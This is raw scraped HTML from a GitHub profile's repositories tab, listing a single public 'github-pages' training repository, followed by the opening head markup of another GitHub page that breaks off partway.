01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Templates</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0" id="language-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Language</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu mt-1 mt-lg-0 mr-md-2 ml-md-2 right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select language</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="language-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="language" id="language_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="language" id="language_html" value="html" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>HTML</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 ml-1" id="sort-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Sort</span> <span class="d-none" data-menu-button> Last updated </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select order</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="sort-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="sort" id="sort_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Last updated</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_name" value="name" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Name</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_stargazers" value="stargazers" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Stars</span> </label> </div> </div> </details-menu> </details> </div> </div> </form> <div class="d-none d-md-flex flex-md-items-center flex-md-justify-end"> <a href="/new" class="text-center btn btn-primary ml-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> </div> </div> </div> <div id="user-repositories-list"> <ul data-filterable-for="your-repos-filter" data-filterable-type="substring"> <li class="col-12 d-flex flex-justify-between width-full py-4 border-bottom color-border-muted public source" itemprop="owns" itemscope itemtype="http://schema.org/Code"> <div class="col-10 col-lg-9 d-inline-block"> <div class="d-inline-block mb-1"> <h3 class="wb-break-all"> <a href="/chikitang/github-pages" itemprop="name codeRepository" > github-pages</a> <span></span><span class="Label Label--secondary v-align-middle ml-1 mb-1">Public</span> </h3> </div> <div> <p class="col-9 d-inline-block color-fg-muted mb-2 pr-4" itemprop="description"> A robot powered training repository <g-emoji class="g-emoji" alias="robot" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f916.png">🤖</g-emoji> </p> </div> <div class="f6 color-fg-muted mt-2"> <span class="ml-0 mr-3"> <span class="repo-language-color" style="background-color: #e34c26"></span> <span itemprop="programmingLanguage">HTML</span> </span> <span class="mr-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-law mr-1"> <path fill-rule="evenodd" d="M8.75.75a.75.75 0 00-1.5 0V2h-.984c-.305 0-.604.08-.869.23l-1.288.737A.25.25 0 013.984 3H1.75a.75.75 0 000 1.5h.428L.066 9.192a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.514 3.514 0 00.686.45A4.492 4.492 0 003 11c.88 0 1.556-.22 2.023-.454a3.515 3.515 0 00.686-.45l.045-.04.016-.015.006-.006.002-.002.001-.002L5.25 9.5l.53.53a.75.75 0 00.154-.838L3.822 4.5h.162c.305 0 .604-.08.869-.23l1.289-.737a.25.25 0 01.124-.033h.984V13h-2.5a.75.75 0 000 1.5h6.5a.75.75 0 000-1.5h-2.5V3.5h.984a.25.25 0 01.124.033l1.29.736c.264.152.563.231.868.231h.162l-2.112 4.692a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.517 3.517 0 00.686.45A4.492 4.492 0 0013 11c.88 0 1.556-.22 2.023-.454a3.512 3.512 0 00.686-.45l.045-.04.01-.01.006-.005.006-.006.002-.002.001-.002-.529-.531.53.53a.75.75 0 00.154-.838L13.823 4.5h.427a.75.75 0 000-1.5h-2.234a.25.25 0 01-.124-.033l-1.29-.736A1.75 1.75 0 009.735 2H8.75V.75zM1.695 9.227c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327l-1.305 2.9zm10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327l-1.305 2.9z"></path> </svg>MIT License </span> Updated <relative-time datetime="2022-06-08T03:58:07Z" class="no-wrap">Jun 7, 2022</relative-time> </div> </div> <div class="col-2 d-flex flex-column flex-justify-around flex-items-end ml-3"> <template class="js-unstar-confirmation-dialog-template"> <div class="Box-header"> <h2 class="Box-title">Unstar this repository?</h2> </div> <div class="Box-body"> <p class="mb-3"> This will remove {{ repoNameWithOwner }} from the {{ listsWithCount }} that it's been added to. </p> <div class="form-actions"> <form class="js-social-confirmation-form" data-turbo="false" action="{{ confirmUrl }}" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="{{ confirmCsrfToken }}"> <input type="hidden" name="confirm" value="true"> <button data-close-dialog="true" type="submit" data-view-component="true" class="btn-danger btn width-full"> Unstar </button> </form> </div> </div> </template> <div data-view-component="true" class="js-toggler-container js-social-container starring-container BtnGroup d-flex"> <form class="starred js-social-form BtnGroup-parent flex-auto js-deferred-toggler-target" data-turbo="false" action="/chikitang/github-pages/unstar" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="P3ZaMuVNtLT4QUVj9SZ3_76QeVS-3FOc0gP3XVwVBgRcLVKXCTCdvdJ6obMwUrBCGfd2XQVN_W7IuZa7njBcNA" autocomplete="off" /> <input type="hidden" value="KnKZMI3CU5RojoPkAik3DUoD4aqrgGVadUrVgfAoCJRJKZGVYb96nUK1ZzTHXfCw7WTuoxARy6hv8LRnMg1SpA" data-csrf="true" class="js-confirm-csrf-token" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"UNSTAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="f34c8205d1678d4ae0e77c4839fbb14d3a9fd63160652b28998f8827c527e5a2" data-ga-click="Repository, click unstar button, action:profiles/repositories#index; text:Unstar" aria-label="Unstar this repository" type="submit" data-view-component="true" class="rounded-left-2 border-right-0 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star-fill starred-button-icon d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25z"></path> </svg><span data-view-component="true" class="d-inline"> Starred </span> </button></form> <form class="unstarred js-social-form BtnGroup-parent flex-auto" data-turbo="false" action="/chikitang/github-pages/star" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="VdD5gHR0SaNWuuE-4Huf1LFVNH_kIFLksg8psuv1LDDU6Ha53YRem4Yp2ZrIpb7eKSa1cf-yR9oZDpa0b5XdgA" autocomplete="off" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"STAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="5cd067574b17d3257d89fbe1c8c675a553eb8e3ad7cea5efb3cf0e75d36f0801" data-ga-click="Repository, click star button, action:profiles/repositories#index; text:Star" aria-label="Star this repository" type="submit" data-view-component="true" class="js-toggler-target rounded-left-2 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </include-fragment> </div> </div> </div> </details-menu> </details> </div> <div class="text-right hide-lg hide-md hide-sm hide-xs flex-self-end "> <poll-include-fragment src="/chikitang/github-pages/graphs/participation?h=28&type=sparkline&w=155"> </poll-include-fragment> </div> </div> </li> </ul> <div class="paginate-container"> </div> </div> </div> </div> </div> </div></div> </main> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <ul class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <li class="mt-2 mt-lg-0 d-flex flex-items-center"> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> <span> © 2022 GitHub, Inc. </span> </li> </ul> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-8 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0"> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-analytics-event="{"category":"Footer","action":"go to terms","label":"text:terms"}">Terms</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-analytics-event="{"category":"Footer","action":"go to privacy","label":"text:privacy"}">Privacy</a></li> <li class="mr-3 mr-lg-0"><a data-analytics-event="{"category":"Footer","action":"go to security","label":"text:security"}" href="https://github.com/security">Security</a></li> <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{"category":"Footer","action":"go to status","label":"text:status"}">Status</a></li> <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li> <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{"category":"Footer","action":"go to contact","label":"text:contact"}">Contact GitHub</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{"category":"Footer","action":"go to Pricing","label":"text:Pricing"}">Pricing</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{"category":"Footer","action":"go to api","label":"text:api"}">API</a></li> <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{"category":"Footer","action":"go to training","label":"text:training"}">Training</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{"category":"Footer","action":"go to blog","label":"text:blog"}">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 color-fg-muted"></span> </div> </footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </clipboard-copy> </div> </template> <style> .user-mention[href$="/chikitang"] { color: var(--color-user-mention-fg); background-color: var(--color-user-mention-bg); border-radius: 2px; margin-left: -2px; margin-right: -2px; padding: 0 2px; } </style> </body> </html>
NhaPhatHanh
<!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-7KjiGvJiLLy6LJPGf3m67ejAdgQsgDdnxZYoaI6+Agd0ZxHKTCjoKZgaf3PgUjURCcVceAwySJJJWgitRskDiA==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-eca8e21af2622cbcba2c93c67f79baed.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ZS0ILXChK0v6MFarr5VP2Qq916nqPSByfcud8IEvgXav8xbAAafFHX22IuZOi5/ZkKbLgOmqFkezGZVyANnFrQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-652d082d70a12b4bfa3056abaf954fd9.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ec37dkdwRxMnZ+C8WVJL5fX0MDw39MbZDqmjBB3JFemYXHZrq3E3F25pcbYUEmuB29eH0L5f+KOgO+FQNEFTgw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-79cdfb76477047132767e0bc59524be5.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-CzeY4A6TiG4fGZSWZU8FxmzFFmcQFoPpArF0hkH0/J/S7UL4eed/LKEXMQXfTwiG5yEJBI+9BdKG8KQJNbhcIQ==" type="application/javascript" src="https://github.githubassets.com/assets/environment-0b3798e0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ahOZvzpz/+SYFONmTAqBCwF04p4zvYweAHl7o69sVAwf0oxqMEyVZa//FnA859IbgU9lzj55LagjePKStkjwpw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-6a1399bf.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+1BN8W3XvQeL2HiktoDjb/NDm2W8tp9hDUb+NL4vabH/tvhdLZIdE9tYL3xRh6HDsc7JpvlTmu2m7CllRB+QYA==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-fb504df1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ujoCDv+gZj/v2aljXWMjKWNPoZ/QeENSASFGNBTO7smC7I/GC8hPqneWuaD2coIvzq6i7mLCLbg/SG39CdT1qA==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-ba3a020e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tjuNQcwhEIXGvVIG4XM/Aj4z+Od+NBRkbgWNwEMjGL3nsnAmdoBdbzsn/WTvl3hk+TPt1D0BvBLHLBPgiwvT2w==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-b63b8d41.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+BKEtK9JkmJ52jKSoX6+SBrGV6kJxB8J/iAPkFQ/oeq8YekNcz7IZlJgM5Tddyx1RrkL3+sdG0tAy3YuFbYqfA==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-f81284b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EKOvqJ9uTatAt87WxU+OSS4mi7gMUszFbGo4aPErQkjpWLXnrPSeZvK5ngU8OYoIoiVOq+v8dA3C6MF/z2d/kA==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-10a3afa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zkYZSjUFqSifB+Lt76jclFMrfqpcPqevT801RZcoBNCZHRTBKcFrW9OyJoPOzKFv+fZVDRnqdqGsuIv5KOIgZg==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-ce46194a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6j/oSF+kbW+yetNPvI684VzAu9pzug6Vj2h+3u1LdCuRhR4jnuiHZfeQKls3nxcT/S3H+oIt7FtigE/aeoj+gg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-ea3fe848.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-N+ziqJjVMfWiqeVHdayDHpNRlG5HsF+cgV+pFnMDoTJuvBzgw+ndsepe4NcKAxIS3WMvzMaQcYmd2vrIaoAJVg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-37ece2a8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aiqMIGGZGo8AQMjcoImKPMTsZVVRl6htCSY7BpRmpGPG/AF+Wq+P/Oj/dthWQOIk9cCNMPEas7O2zAR6oqn0tA==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-6a2a8c20.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-G3/1Wo8nza2llJz848q++KJXUpeUuHcSDvXLcJzqQZDBLXm/PaOchsesQlyxX/3bXdasUpOE217R8Ln6vTqMHA==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-1b7ff55a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-XwuQdORq1W9Z+a/i72pH+NfR1rhwlGdxIlaIBbTciscGc/+McxMNLixGBp8e6Td4W1zzHvQ1Jyryl5gUfEr76g==" type="application/javascript" data-module-id="./chunk-insights-graph.js" data-src="https://github.githubassets.com/assets/chunk-insights-graph-5f0b9074.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-cdGVmQXhZYV6/Qj5QsArM/LjCG6qatgnsAE6W5y9UOHI+J2NdRU7l3IPlxh1zKNwgt5FWXnvrpyEIL7pc3aihg==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-71d19599.js"></script> <script crossorigin="anonymous" defer="defer" 